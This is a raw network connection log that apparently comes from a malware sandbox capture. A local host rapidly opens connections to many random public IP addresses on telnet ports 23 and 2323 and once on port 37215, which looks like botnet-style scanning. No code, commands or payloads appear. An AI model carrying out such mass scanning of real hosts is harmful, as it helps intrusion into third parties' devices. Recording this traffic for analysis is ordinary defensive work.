Nov 3, 2024 15:37:19.200021029 CET	58160	23	192.168.2.14	63.90.192.76
Nov 3, 2024 15:37:19.200021982 CET	45356	23	192.168.2.14	211.167.163.250
Nov 3, 2024 15:37:19.200031996 CET	33442	23	192.168.2.14	98.45.148.70
Nov 3, 2024 15:37:19.200048923 CET	54364	23	192.168.2.14	82.179.1.22
Nov 3, 2024 15:37:19.200054884 CET	52788	23	192.168.2.14	114.56.113.73
Nov 3, 2024 15:37:19.200087070 CET	36201	23	192.168.2.14	125.148.66.119
Nov 3, 2024 15:37:19.200099945 CET	36201	2323	192.168.2.14	141.220.72.135
Nov 3, 2024 15:37:19.200119019 CET	36201	23	192.168.2.14	180.112.45.130
Nov 3, 2024 15:37:19.200126886 CET	36201	23	192.168.2.14	133.116.40.17
Nov 3, 2024 15:37:19.200135946 CET	36201	23	192.168.2.14	107.220.34.81
Nov 3, 2024 15:37:19.200150013 CET	36201	23	192.168.2.14	125.152.36.236
Nov 3, 2024 15:37:19.200167894 CET	36201	23	192.168.2.14	20.62.206.37
Nov 3, 2024 15:37:19.200181961 CET	36201	23	192.168.2.14	172.163.185.80
Nov 3, 2024 15:37:19.200195074 CET	36201	23	192.168.2.14	216.239.114.116
Nov 3, 2024 15:37:19.200210094 CET	36201	23	192.168.2.14	139.153.201.192
Nov 3, 2024 15:37:19.200225115 CET	36201	23	192.168.2.14	186.39.134.193
Nov 3, 2024 15:37:19.200246096 CET	36201	2323	192.168.2.14	223.135.143.151
Nov 3, 2024 15:37:19.200263023 CET	36201	23	192.168.2.14	210.175.199.13
Nov 3, 2024 15:37:19.200277090 CET	36201	23	192.168.2.14	74.141.181.207
Nov 3, 2024 15:37:19.200293064 CET	36201	23	192.168.2.14	91.249.203.101
Nov 3, 2024 15:37:19.200318098 CET	36201	23	192.168.2.14	149.219.253.88
Nov 3, 2024 15:37:19.200331926 CET	36201	23	192.168.2.14	161.156.106.36
Nov 3, 2024 15:37:19.200356960 CET	36201	23	192.168.2.14	19.244.122.167
Nov 3, 2024 15:37:19.200368881 CET	36201	23	192.168.2.14	103.99.191.68
Nov 3, 2024 15:37:19.200390100 CET	36201	23	192.168.2.14	162.245.162.72
Nov 3, 2024 15:37:19.200408936 CET	36201	23	192.168.2.14	101.134.108.186
Nov 3, 2024 15:37:19.200422049 CET	36201	2323	192.168.2.14	139.218.193.133
Nov 3, 2024 15:37:19.200436115 CET	36201	23	192.168.2.14	208.87.6.20
Nov 3, 2024 15:37:19.200448990 CET	36201	23	192.168.2.14	169.181.93.197
Nov 3, 2024 15:37:19.200478077 CET	36201	23	192.168.2.14	12.226.150.176
Nov 3, 2024 15:37:19.200491905 CET	36201	23	192.168.2.14	40.186.29.214
Nov 3, 2024 15:37:19.200504065 CET	36201	23	192.168.2.14	221.3.195.37
Nov 3, 2024 15:37:19.200520039 CET	36201	23	192.168.2.14	156.187.197.200
Nov 3, 2024 15:37:19.200544119 CET	36201	23	192.168.2.14	169.211.140.86
Nov 3, 2024 15:37:19.200567007 CET	36201	23	192.168.2.14	108.229.188.212
Nov 3, 2024 15:37:19.200592995 CET	36201	23	192.168.2.14	80.61.186.232
Nov 3, 2024 15:37:19.200618982 CET	36201	2323	192.168.2.14	12.220.102.239
Nov 3, 2024 15:37:19.200643063 CET	36201	23	192.168.2.14	53.163.81.25
Nov 3, 2024 15:37:19.200658083 CET	36201	23	192.168.2.14	174.65.74.242
Nov 3, 2024 15:37:19.200680017 CET	36201	23	192.168.2.14	181.37.72.34
Nov 3, 2024 15:37:19.200694084 CET	36201	23	192.168.2.14	211.212.195.35
Nov 3, 2024 15:37:19.200712919 CET	36201	23	192.168.2.14	170.66.137.238
Nov 3, 2024 15:37:19.200720072 CET	36201	23	192.168.2.14	81.102.195.230
Nov 3, 2024 15:37:19.200747967 CET	36201	23	192.168.2.14	110.217.160.215
Nov 3, 2024 15:37:19.200761080 CET	36201	23	192.168.2.14	103.179.254.251
Nov 3, 2024 15:37:19.200773954 CET	36201	23	192.168.2.14	90.123.137.17
Nov 3, 2024 15:37:19.200786114 CET	36201	2323	192.168.2.14	162.194.247.191
Nov 3, 2024 15:37:19.200813055 CET	36201	23	192.168.2.14	213.244.84.168
Nov 3, 2024 15:37:19.200817108 CET	36201	23	192.168.2.14	61.159.197.236
Nov 3, 2024 15:37:19.200843096 CET	36201	23	192.168.2.14	200.90.144.176
Nov 3, 2024 15:37:19.200870037 CET	36201	23	192.168.2.14	2.31.18.130
Nov 3, 2024 15:37:19.200881958 CET	36201	23	192.168.2.14	46.83.227.33
Nov 3, 2024 15:37:19.200907946 CET	36201	23	192.168.2.14	177.207.104.64
Nov 3, 2024 15:37:19.200916052 CET	36201	23	192.168.2.14	162.191.81.249
Nov 3, 2024 15:37:19.200934887 CET	36201	23	192.168.2.14	121.68.164.105
Nov 3, 2024 15:37:19.200959921 CET	36201	23	192.168.2.14	14.178.209.156
Nov 3, 2024 15:37:19.200974941 CET	36201	2323	192.168.2.14	176.101.83.53
Nov 3, 2024 15:37:19.200999022 CET	36201	23	192.168.2.14	211.0.165.213
Nov 3, 2024 15:37:19.201008081 CET	36201	23	192.168.2.14	119.141.234.161
Nov 3, 2024 15:37:19.201026917 CET	36201	23	192.168.2.14	221.228.138.103
Nov 3, 2024 15:37:19.201050997 CET	36201	23	192.168.2.14	142.240.165.77
Nov 3, 2024 15:37:19.201077938 CET	36201	23	192.168.2.14	174.73.183.65
Nov 3, 2024 15:37:19.201100111 CET	36201	23	192.168.2.14	218.66.137.17
Nov 3, 2024 15:37:19.201112986 CET	36201	23	192.168.2.14	89.152.52.224
Nov 3, 2024 15:37:19.201142073 CET	36201	23	192.168.2.14	185.74.254.55
Nov 3, 2024 15:37:19.201167107 CET	36201	23	192.168.2.14	27.126.124.240
Nov 3, 2024 15:37:19.201175928 CET	36201	2323	192.168.2.14	173.123.97.33
Nov 3, 2024 15:37:19.201193094 CET	36201	23	192.168.2.14	93.131.227.234
Nov 3, 2024 15:37:19.201200962 CET	36201	23	192.168.2.14	67.195.108.131
Nov 3, 2024 15:37:19.201252937 CET	36201	23	192.168.2.14	76.104.220.220
Nov 3, 2024 15:37:19.201266050 CET	36201	23	192.168.2.14	84.38.65.229
Nov 3, 2024 15:37:19.201282024 CET	36201	23	192.168.2.14	74.206.210.162
Nov 3, 2024 15:37:19.201296091 CET	36201	23	192.168.2.14	223.207.23.145
Nov 3, 2024 15:37:19.201318026 CET	36201	23	192.168.2.14	148.123.224.186
Nov 3, 2024 15:37:19.201344967 CET	36201	23	192.168.2.14	69.7.248.0
Nov 3, 2024 15:37:19.201359987 CET	36201	23	192.168.2.14	40.242.238.29
Nov 3, 2024 15:37:19.201384068 CET	36201	2323	192.168.2.14	64.63.57.21
Nov 3, 2024 15:37:19.201396942 CET	36201	23	192.168.2.14	168.83.195.123
Nov 3, 2024 15:37:19.201411009 CET	36201	23	192.168.2.14	40.78.14.116
Nov 3, 2024 15:37:19.201423883 CET	36201	23	192.168.2.14	61.230.241.46
Nov 3, 2024 15:37:19.201437950 CET	36201	23	192.168.2.14	69.236.84.181
Nov 3, 2024 15:37:19.201462984 CET	36201	23	192.168.2.14	48.245.65.120
Nov 3, 2024 15:37:19.201476097 CET	36201	23	192.168.2.14	103.120.139.76
Nov 3, 2024 15:37:19.201502085 CET	36201	23	192.168.2.14	2.199.237.227
Nov 3, 2024 15:37:19.201531887 CET	36201	23	192.168.2.14	95.116.54.214
Nov 3, 2024 15:37:19.201538086 CET	36201	23	192.168.2.14	133.66.92.93
Nov 3, 2024 15:37:19.201555967 CET	36201	2323	192.168.2.14	151.204.108.178
Nov 3, 2024 15:37:19.201564074 CET	36201	23	192.168.2.14	182.252.191.255
Nov 3, 2024 15:37:19.201592922 CET	36201	23	192.168.2.14	174.25.178.18
Nov 3, 2024 15:37:19.201605082 CET	36201	23	192.168.2.14	141.163.20.20
Nov 3, 2024 15:37:19.201632023 CET	36201	23	192.168.2.14	17.92.222.35
Nov 3, 2024 15:37:19.201643944 CET	36201	23	192.168.2.14	220.37.247.243
Nov 3, 2024 15:37:19.201673985 CET	36201	23	192.168.2.14	72.194.119.153
Nov 3, 2024 15:37:19.201695919 CET	36201	23	192.168.2.14	85.150.233.230
Nov 3, 2024 15:37:19.201708078 CET	36201	23	192.168.2.14	161.47.74.48
Nov 3, 2024 15:37:19.201721907 CET	36201	23	192.168.2.14	164.34.248.83
Nov 3, 2024 15:37:19.201736927 CET	36201	2323	192.168.2.14	64.9.206.203
Nov 3, 2024 15:37:19.201747894 CET	36201	23	192.168.2.14	98.103.44.25
Nov 3, 2024 15:37:19.201773882 CET	36201	23	192.168.2.14	72.191.133.200
Nov 3, 2024 15:37:19.201795101 CET	36201	23	192.168.2.14	189.107.154.7
Nov 3, 2024 15:37:19.201817036 CET	36201	23	192.168.2.14	187.207.176.39
Nov 3, 2024 15:37:19.201839924 CET	36201	23	192.168.2.14	123.100.82.115
Nov 3, 2024 15:37:19.201854944 CET	36201	23	192.168.2.14	124.212.109.74
Nov 3, 2024 15:37:19.201864004 CET	36201	23	192.168.2.14	176.234.143.141
Nov 3, 2024 15:37:19.201880932 CET	36201	23	192.168.2.14	106.174.180.227
Nov 3, 2024 15:37:19.201905966 CET	36201	23	192.168.2.14	170.207.118.237
Nov 3, 2024 15:37:19.201931953 CET	36201	2323	192.168.2.14	82.204.250.158
Nov 3, 2024 15:37:19.201952934 CET	36201	23	192.168.2.14	210.91.252.41
Nov 3, 2024 15:37:19.201977968 CET	36201	23	192.168.2.14	82.52.38.102
Nov 3, 2024 15:37:19.202002048 CET	36201	23	192.168.2.14	62.47.122.185
Nov 3, 2024 15:37:19.202027082 CET	36201	23	192.168.2.14	151.163.106.119
Nov 3, 2024 15:37:19.202052116 CET	36201	23	192.168.2.14	194.121.83.31
Nov 3, 2024 15:37:19.202063084 CET	36201	23	192.168.2.14	14.200.145.22
Nov 3, 2024 15:37:19.202088118 CET	36201	23	192.168.2.14	5.103.63.143
Nov 3, 2024 15:37:19.202112913 CET	36201	23	192.168.2.14	151.131.201.18
Nov 3, 2024 15:37:19.202121019 CET	36201	23	192.168.2.14	36.190.53.89
Nov 3, 2024 15:37:19.202152014 CET	36201	2323	192.168.2.14	48.105.104.138
Nov 3, 2024 15:37:19.202173948 CET	36201	23	192.168.2.14	217.177.89.172
Nov 3, 2024 15:37:19.202198982 CET	36201	23	192.168.2.14	122.49.178.19
Nov 3, 2024 15:37:19.202222109 CET	36201	23	192.168.2.14	83.114.63.156
Nov 3, 2024 15:37:19.202243090 CET	36201	23	192.168.2.14	209.171.109.163
Nov 3, 2024 15:37:19.202272892 CET	36201	23	192.168.2.14	42.122.231.0
Nov 3, 2024 15:37:19.202285051 CET	36201	23	192.168.2.14	41.61.247.174
Nov 3, 2024 15:37:19.202301979 CET	36201	23	192.168.2.14	116.56.113.221
Nov 3, 2024 15:37:19.202312946 CET	36201	23	192.168.2.14	175.173.235.88
Nov 3, 2024 15:37:19.202338934 CET	36201	23	192.168.2.14	81.94.219.205
Nov 3, 2024 15:37:19.203984976 CET	23	45984	119.240.78.133	192.168.2.14
Nov 3, 2024 15:37:19.204097986 CET	23	42506	74.102.159.6	192.168.2.14
Nov 3, 2024 15:37:19.204128981 CET	45984	23	192.168.2.14	119.240.78.133
Nov 3, 2024 15:37:19.204212904 CET	46404	23	192.168.2.14	119.240.78.133
Nov 3, 2024 15:37:19.204268932 CET	42506	23	192.168.2.14	74.102.159.6
Nov 3, 2024 15:37:19.204298019 CET	42926	23	192.168.2.14	74.102.159.6
Nov 3, 2024 15:37:19.204612017 CET	23	33938	150.250.80.200	192.168.2.14
Nov 3, 2024 15:37:19.204622030 CET	23	51246	223.188.142.32	192.168.2.14
Nov 3, 2024 15:37:19.204641104 CET	23	36201	82.36.67.248	192.168.2.14
Nov 3, 2024 15:37:19.204651117 CET	23	48664	223.192.77.224	192.168.2.14
Nov 3, 2024 15:37:19.204699993 CET	36201	23	192.168.2.14	82.36.67.248
Nov 3, 2024 15:37:19.204715967 CET	23	59936	204.18.191.177	192.168.2.14
Nov 3, 2024 15:37:19.204729080 CET	33938	23	192.168.2.14	150.250.80.200
Nov 3, 2024 15:37:19.204781055 CET	34356	23	192.168.2.14	150.250.80.200
Nov 3, 2024 15:37:19.204807043 CET	51246	23	192.168.2.14	223.188.142.32
Nov 3, 2024 15:37:19.204843998 CET	51662	23	192.168.2.14	223.188.142.32
Nov 3, 2024 15:37:19.204916000 CET	59936	23	192.168.2.14	204.18.191.177
Nov 3, 2024 15:37:19.204931021 CET	23	55834	1.131.183.133	192.168.2.14
Nov 3, 2024 15:37:19.204951048 CET	60356	23	192.168.2.14	204.18.191.177
Nov 3, 2024 15:37:19.204984903 CET	48664	23	192.168.2.14	223.192.77.224
Nov 3, 2024 15:37:19.204998970 CET	23	38814	90.166.154.147	192.168.2.14
Nov 3, 2024 15:37:19.205009937 CET	23	43216	150.249.119.122	192.168.2.14
Nov 3, 2024 15:37:19.205018997 CET	49078	23	192.168.2.14	223.192.77.224
Nov 3, 2024 15:37:19.205020905 CET	23	45054	126.245.223.231	192.168.2.14
Nov 3, 2024 15:37:19.205096006 CET	55834	23	192.168.2.14	1.131.183.133
Nov 3, 2024 15:37:19.205106020 CET	23	51972	181.62.171.211	192.168.2.14
Nov 3, 2024 15:37:19.205132961 CET	56254	23	192.168.2.14	1.131.183.133
Nov 3, 2024 15:37:19.205167055 CET	38814	23	192.168.2.14	90.166.154.147
Nov 3, 2024 15:37:19.205188036 CET	39234	23	192.168.2.14	90.166.154.147
Nov 3, 2024 15:37:19.205205917 CET	45054	23	192.168.2.14	126.245.223.231
Nov 3, 2024 15:37:19.205241919 CET	51972	23	192.168.2.14	181.62.171.211
Nov 3, 2024 15:37:19.205254078 CET	43216	23	192.168.2.14	150.249.119.122
Nov 3, 2024 15:37:19.205257893 CET	2323	42300	111.165.24.13	192.168.2.14
Nov 3, 2024 15:37:19.205311060 CET	45472	23	192.168.2.14	126.245.223.231
Nov 3, 2024 15:37:19.205337048 CET	43216	23	192.168.2.14	150.249.119.122
Nov 3, 2024 15:37:19.205348015 CET	23	59634	192.23.173.227	192.168.2.14
Nov 3, 2024 15:37:19.205363989 CET	43634	23	192.168.2.14	150.249.119.122
Nov 3, 2024 15:37:19.205425978 CET	23	36120	14.249.99.146	192.168.2.14
Nov 3, 2024 15:37:19.205488920 CET	23	59052	74.2.128.165	192.168.2.14
Nov 3, 2024 15:37:19.205606937 CET	42300	2323	192.168.2.14	111.165.24.13
Nov 3, 2024 15:37:19.205631018 CET	2323	51498	188.113.175.72	192.168.2.14
Nov 3, 2024 15:37:19.205641031 CET	42718	2323	192.168.2.14	111.165.24.13
Nov 3, 2024 15:37:19.205683947 CET	51972	23	192.168.2.14	181.62.171.211
Nov 3, 2024 15:37:19.205698013 CET	23	42614	19.157.79.111	192.168.2.14
Nov 3, 2024 15:37:19.205704927 CET	52390	23	192.168.2.14	181.62.171.211
Nov 3, 2024 15:37:19.205733061 CET	59634	23	192.168.2.14	192.23.173.227
Nov 3, 2024 15:37:19.205765963 CET	60052	23	192.168.2.14	192.23.173.227
Nov 3, 2024 15:37:19.205775023 CET	23	33018	159.254.242.122	192.168.2.14
Nov 3, 2024 15:37:19.205795050 CET	36120	23	192.168.2.14	14.249.99.146
Nov 3, 2024 15:37:19.205821991 CET	36538	23	192.168.2.14	14.249.99.146
Nov 3, 2024 15:37:19.205842018 CET	59052	23	192.168.2.14	74.2.128.165
Nov 3, 2024 15:37:19.205869913 CET	59470	23	192.168.2.14	74.2.128.165
Nov 3, 2024 15:37:19.205914021 CET	23	53174	41.163.132.167	192.168.2.14
Nov 3, 2024 15:37:19.205935955 CET	51498	2323	192.168.2.14	188.113.175.72
Nov 3, 2024 15:37:19.205966949 CET	23	40062	71.104.220.97	192.168.2.14
Nov 3, 2024 15:37:19.205976009 CET	51916	2323	192.168.2.14	188.113.175.72
Nov 3, 2024 15:37:19.205993891 CET	42614	23	192.168.2.14	19.157.79.111
Nov 3, 2024 15:37:19.206017017 CET	23	48258	115.126.144.166	192.168.2.14
Nov 3, 2024 15:37:19.206024885 CET	43032	23	192.168.2.14	19.157.79.111
Nov 3, 2024 15:37:19.206053019 CET	33018	23	192.168.2.14	159.254.242.122
Nov 3, 2024 15:37:19.206087112 CET	33436	23	192.168.2.14	159.254.242.122
Nov 3, 2024 15:37:19.206163883 CET	53174	23	192.168.2.14	41.163.132.167
Nov 3, 2024 15:37:19.206176043 CET	53592	23	192.168.2.14	41.163.132.167
Nov 3, 2024 15:37:19.206176043 CET	40062	23	192.168.2.14	71.104.220.97
Nov 3, 2024 15:37:19.206202030 CET	40480	23	192.168.2.14	71.104.220.97
Nov 3, 2024 15:37:19.206208944 CET	48258	23	192.168.2.14	115.126.144.166
Nov 3, 2024 15:37:19.206231117 CET	48676	23	192.168.2.14	115.126.144.166
Nov 3, 2024 15:37:19.206553936 CET	37215	52260	197.170.70.85	192.168.2.14
Nov 3, 2024 15:37:19.206602097 CET	52260	37215	192.168.2.14	197.170.70.85
Nov 3, 2024 15:37:19.206880093 CET	23	37088	165.106.75.38	192.168.2.14
Nov 3, 2024 15:37:19.206933022 CET	37088	23	192.168.2.14	165.106.75.38
Nov 3, 2024 15:37:19.206934929 CET	37506	23	192.168.2.14	165.106.75.38
Nov 3, 2024 15:37:19.207187891 CET	23	34670	62.221.23.229	192.168.2.14
Nov 3, 2024 15:37:19.207237005 CET	34670	23	192.168.2.14	62.221.23.229
Nov 3, 2024 15:37:19.207247019 CET	35086	23	192.168.2.14	62.221.23.229
Nov 3, 2024 15:37:19.207369089 CET	23	34974	99.30.146.82	192.168.2.14
Nov 3, 2024 15:37:19.207418919 CET	34974	23	192.168.2.14	99.30.146.82
Nov 3, 2024 15:37:19.207420111 CET	35394	23	192.168.2.14	99.30.146.82
Nov 3, 2024 15:37:19.207580090 CET	23	49746	100.154.199.38	192.168.2.14
Nov 3, 2024 15:37:19.207629919 CET	49746	23	192.168.2.14	100.154.199.38
Nov 3, 2024 15:37:19.207640886 CET	50162	23	192.168.2.14	100.154.199.38
Nov 3, 2024 15:37:19.207662106 CET	2323	43472	184.252.60.22	192.168.2.14
Nov 3, 2024 15:37:19.207710028 CET	43472	2323	192.168.2.14	184.252.60.22
Nov 3, 2024 15:37:19.207714081 CET	43888	2323	192.168.2.14	184.252.60.22
Nov 3, 2024 15:37:19.207768917 CET	23	52076	91.96.221.255	192.168.2.14
Nov 3, 2024 15:37:19.207818985 CET	52076	23	192.168.2.14	91.96.221.255
Nov 3, 2024 15:37:19.207830906 CET	52492	23	192.168.2.14	91.96.221.255
Nov 3, 2024 15:37:19.207978964 CET	23	37890	17.12.226.248	192.168.2.14
Nov 3, 2024 15:37:19.208055973 CET	37890	23	192.168.2.14	17.12.226.248
Nov 3, 2024 15:37:19.208065987 CET	38304	23	192.168.2.14	17.12.226.248
Nov 3, 2024 15:37:19.208076000 CET	23	55948	139.218.118.52	192.168.2.14
Nov 3, 2024 15:37:19.208127022 CET	56366	23	192.168.2.14	139.218.118.52
Nov 3, 2024 15:37:19.208132029 CET	23	52834	84.231.103.223	192.168.2.14
Nov 3, 2024 15:37:19.208151102 CET	55948	23	192.168.2.14	139.218.118.52
Nov 3, 2024 15:37:19.208188057 CET	23	56592	141.228.154.160	192.168.2.14
Nov 3, 2024 15:37:19.208204985 CET	52834	23	192.168.2.14	84.231.103.223
Nov 3, 2024 15:37:19.208204985 CET	53250	23	192.168.2.14	84.231.103.223
Nov 3, 2024 15:37:19.208231926 CET	56592	23	192.168.2.14	141.228.154.160
Nov 3, 2024 15:37:19.208250999 CET	57008	23	192.168.2.14	141.228.154.160
Nov 3, 2024 15:37:19.208273888 CET	23	40990	44.0.234.239	192.168.2.14
Nov 3, 2024 15:37:19.208323956 CET	40990	23	192.168.2.14	44.0.234.239
Nov 3, 2024 15:37:19.208334923 CET	41406	23	192.168.2.14	44.0.234.239
Nov 3, 2024 15:37:19.208343029 CET	23	54948	54.7.152.20	192.168.2.14
Nov 3, 2024 15:37:19.208412886 CET	54948	23	192.168.2.14	54.7.152.20
Nov 3, 2024 15:37:19.208430052 CET	55362	23	192.168.2.14	54.7.152.20
Nov 3, 2024 15:37:19.208448887 CET	23	49896	146.104.122.224	192.168.2.14
Nov 3, 2024 15:37:19.208522081 CET	49896	23	192.168.2.14	146.104.122.224
Nov 3, 2024 15:37:19.208523989 CET	50314	23	192.168.2.14	146.104.122.224
Nov 3, 2024 15:37:19.208564043 CET	2323	50938	126.71.233.174	192.168.2.14
Nov 3, 2024 15:37:19.208635092 CET	50938	2323	192.168.2.14	126.71.233.174
Nov 3, 2024 15:37:19.208642006 CET	51352	2323	192.168.2.14	126.71.233.174
Nov 3, 2024 15:37:19.208650112 CET	23	51156	70.243.100.82	192.168.2.14
Nov 3, 2024 15:37:19.208673000 CET	23	39654	218.239.235.243	192.168.2.14
Nov 3, 2024 15:37:19.208722115 CET	51156	23	192.168.2.14	70.243.100.82
Nov 3, 2024 15:37:19.208725929 CET	51574	23	192.168.2.14	70.243.100.82
Nov 3, 2024 15:37:19.208733082 CET	39654	23	192.168.2.14	218.239.235.243
Nov 3, 2024 15:37:19.208740950 CET	40070	23	192.168.2.14	218.239.235.243
Nov 3, 2024 15:37:19.208753109 CET	23	48660	159.206.44.143	192.168.2.14
Nov 3, 2024 15:37:19.208805084 CET	23	41344	173.90.225.163	192.168.2.14
Nov 3, 2024 15:37:19.208825111 CET	48660	23	192.168.2.14	159.206.44.143
Nov 3, 2024 15:37:19.208827019 CET	49076	23	192.168.2.14	159.206.44.143
Nov 3, 2024 15:37:19.208874941 CET	41344	23	192.168.2.14	173.90.225.163
Nov 3, 2024 15:37:19.208882093 CET	41760	23	192.168.2.14	173.90.225.163
Nov 3, 2024 15:37:19.208909988 CET	23	43744	39.129.254.10	192.168.2.14
Nov 3, 2024 15:37:19.208920002 CET	23	45984	119.240.78.133	192.168.2.14
Nov 3, 2024 15:37:19.208929062 CET	23	34072	142.90.110.28	192.168.2.14
Nov 3, 2024 15:37:19.208976984 CET	43744	23	192.168.2.14	39.129.254.10
Nov 3, 2024 15:37:19.208988905 CET	44160	23	192.168.2.14	39.129.254.10
Nov 3, 2024 15:37:19.208996058 CET	34072	23	192.168.2.14	142.90.110.28
Nov 3, 2024 15:37:19.209001064 CET	23	53038	175.36.88.60	192.168.2.14
Nov 3, 2024 15:37:19.209006071 CET	34488	23	192.168.2.14	142.90.110.28
Nov 3, 2024 15:37:19.209023952 CET	23	42506	74.102.159.6	192.168.2.14
Nov 3, 2024 15:37:19.209058046 CET	53038	23	192.168.2.14	175.36.88.60
Nov 3, 2024 15:37:19.209068060 CET	53454	23	192.168.2.14	175.36.88.60
Nov 3, 2024 15:37:19.209084988 CET	23	38024	210.39.80.43	192.168.2.14
Nov 3, 2024 15:37:19.209095001 CET	23	51820	58.59.189.111	192.168.2.14
Nov 3, 2024 15:37:19.209137917 CET	51820	23	192.168.2.14	58.59.189.111
Nov 3, 2024 15:37:19.209141970 CET	52236	23	192.168.2.14	58.59.189.111
Nov 3, 2024 15:37:19.209168911 CET	23	45288	90.135.11.2	192.168.2.14
Nov 3, 2024 15:37:19.209172010 CET	38024	23	192.168.2.14	210.39.80.43
Nov 3, 2024 15:37:19.209176064 CET	38440	23	192.168.2.14	210.39.80.43
Nov 3, 2024 15:37:19.209216118 CET	45288	23	192.168.2.14	90.135.11.2
Nov 3, 2024 15:37:19.209223986 CET	45288	23	192.168.2.14	90.135.11.2
Nov 3, 2024 15:37:19.209238052 CET	45704	23	192.168.2.14	90.135.11.2
Nov 3, 2024 15:37:19.209376097 CET	23	36736	223.68.115.148	192.168.2.14
Nov 3, 2024 15:37:19.209425926 CET	36736	23	192.168.2.14	223.68.115.148
Nov 3, 2024 15:37:19.209425926 CET	37146	23	192.168.2.14	223.68.115.148
Nov 3, 2024 15:37:19.209503889 CET	23	33312	186.41.150.45	192.168.2.14
Nov 3, 2024 15:37:19.209513903 CET	23	33938	150.250.80.200	192.168.2.14
Nov 3, 2024 15:37:19.209525108 CET	2323	38626	192.84.103.134	192.168.2.14
Nov 3, 2024 15:37:19.209574938 CET	33312	23	192.168.2.14	186.41.150.45
Nov 3, 2024 15:37:19.209587097 CET	33730	23	192.168.2.14	186.41.150.45
Nov 3, 2024 15:37:19.209589005 CET	38626	2323	192.168.2.14	192.84.103.134
Nov 3, 2024 15:37:19.209600925 CET	39042	2323	192.168.2.14	192.84.103.134
Nov 3, 2024 15:37:19.209785938 CET	23	38050	194.101.242.236	192.168.2.14
Nov 3, 2024 15:37:19.209795952 CET	23	58160	63.90.192.76	192.168.2.14
Nov 3, 2024 15:37:19.209805965 CET	23	45356	211.167.163.250	192.168.2.14
Nov 3, 2024 15:37:19.209815979 CET	23	33442	98.45.148.70	192.168.2.14
Nov 3, 2024 15:37:19.209825039 CET	23	51246	223.188.142.32	192.168.2.14
Nov 3, 2024 15:37:19.209842920 CET	38050	23	192.168.2.14	194.101.242.236
Nov 3, 2024 15:37:19.209844112 CET	38464	23	192.168.2.14	194.101.242.236
Nov 3, 2024 15:37:19.209851980 CET	23	59936	204.18.191.177	192.168.2.14
Nov 3, 2024 15:37:19.209861994 CET	23	54364	82.179.1.22	192.168.2.14
Nov 3, 2024 15:37:19.209872961 CET	23	48664	223.192.77.224	192.168.2.14
Nov 3, 2024 15:37:19.209873915 CET	58160	23	192.168.2.14	63.90.192.76
Nov 3, 2024 15:37:19.209882975 CET	23	52788	114.56.113.73	192.168.2.14
Nov 3, 2024 15:37:19.209892988 CET	23	55834	1.131.183.133	192.168.2.14
Nov 3, 2024 15:37:19.209893942 CET	58582	23	192.168.2.14	63.90.192.76
Nov 3, 2024 15:37:19.209894896 CET	33442	23	192.168.2.14	98.45.148.70
Nov 3, 2024 15:37:19.209912062 CET	33858	23	192.168.2.14	98.45.148.70
Nov 3, 2024 15:37:19.209933043 CET	45356	23	192.168.2.14	211.167.163.250
Nov 3, 2024 15:37:19.209933043 CET	45772	23	192.168.2.14	211.167.163.250
Nov 3, 2024 15:37:19.209954977 CET	53204	23	192.168.2.14	114.56.113.73
Nov 3, 2024 15:37:19.209955931 CET	52788	23	192.168.2.14	114.56.113.73
Nov 3, 2024 15:37:19.209966898 CET	23	38814	90.166.154.147	192.168.2.14
Nov 3, 2024 15:37:19.209970951 CET	54364	23	192.168.2.14	82.179.1.22
Nov 3, 2024 15:37:19.209975004 CET	54780	23	192.168.2.14	82.179.1.22
Nov 3, 2024 15:37:19.209990025 CET	23	45054	126.245.223.231	192.168.2.14
Nov 3, 2024 15:37:19.210091114 CET	23	43216	150.249.119.122	192.168.2.14
Nov 3, 2024 15:37:19.210319042 CET	2323	42300	111.165.24.13	192.168.2.14
Nov 3, 2024 15:37:19.210380077 CET	23	51972	181.62.171.211	192.168.2.14
Nov 3, 2024 15:37:19.210447073 CET	23	59634	192.23.173.227	192.168.2.14
Nov 3, 2024 15:37:19.210488081 CET	23	36120	14.249.99.146	192.168.2.14
Nov 3, 2024 15:37:19.210544109 CET	23	59052	74.2.128.165	192.168.2.14
Nov 3, 2024 15:37:19.210666895 CET	2323	51498	188.113.175.72	192.168.2.14
Nov 3, 2024 15:37:19.210720062 CET	23	42614	19.157.79.111	192.168.2.14
Nov 3, 2024 15:37:19.210762024 CET	23	33018	159.254.242.122	192.168.2.14
Nov 3, 2024 15:37:19.210838079 CET	23	53174	41.163.132.167	192.168.2.14
Nov 3, 2024 15:37:19.210889101 CET	23	40062	71.104.220.97	192.168.2.14
Nov 3, 2024 15:37:19.210930109 CET	23	48258	115.126.144.166	192.168.2.14
Nov 3, 2024 15:37:19.211649895 CET	23	37088	165.106.75.38	192.168.2.14
Nov 3, 2024 15:37:19.212054014 CET	23	34670	62.221.23.229	192.168.2.14
Nov 3, 2024 15:37:19.212285042 CET	23	34974	99.30.146.82	192.168.2.14
Nov 3, 2024 15:37:19.212347984 CET	23	35394	99.30.146.82	192.168.2.14
Nov 3, 2024 15:37:19.212373972 CET	23	49746	100.154.199.38	192.168.2.14
Nov 3, 2024 15:37:19.212414980 CET	35394	23	192.168.2.14	99.30.146.82
Nov 3, 2024 15:37:19.212455034 CET	2323	43472	184.252.60.22	192.168.2.14
Nov 3, 2024 15:37:19.212538958 CET	23	52076	91.96.221.255	192.168.2.14
Nov 3, 2024 15:37:19.212768078 CET	23	37890	17.12.226.248	192.168.2.14
Nov 3, 2024 15:37:19.212939024 CET	23	55948	139.218.118.52	192.168.2.14
Nov 3, 2024 15:37:19.213044882 CET	23	52834	84.231.103.223	192.168.2.14
Nov 3, 2024 15:37:19.213054895 CET	23	56592	141.228.154.160	192.168.2.14
Nov 3, 2024 15:37:19.213066101 CET	23	40990	44.0.234.239	192.168.2.14
Nov 3, 2024 15:37:19.213172913 CET	23	54948	54.7.152.20	192.168.2.14
Nov 3, 2024 15:37:19.213237047 CET	23	49896	146.104.122.224	192.168.2.14
Nov 3, 2024 15:37:19.213366985 CET	2323	50938	126.71.233.174	192.168.2.14
Nov 3, 2024 15:37:19.213531017 CET	23	51156	70.243.100.82	192.168.2.14
Nov 3, 2024 15:37:19.213541031 CET	23	39654	218.239.235.243	192.168.2.14
Nov 3, 2024 15:37:19.213628054 CET	23	48660	159.206.44.143	192.168.2.14
Nov 3, 2024 15:37:19.213638067 CET	23	41344	173.90.225.163	192.168.2.14
Nov 3, 2024 15:37:19.213983059 CET	23	43744	39.129.254.10	192.168.2.14
Nov 3, 2024 15:37:19.214044094 CET	23	34072	142.90.110.28	192.168.2.14
Nov 3, 2024 15:37:19.214054108 CET	23	53038	175.36.88.60	192.168.2.14
Nov 3, 2024 15:37:19.214061975 CET	23	51820	58.59.189.111	192.168.2.14
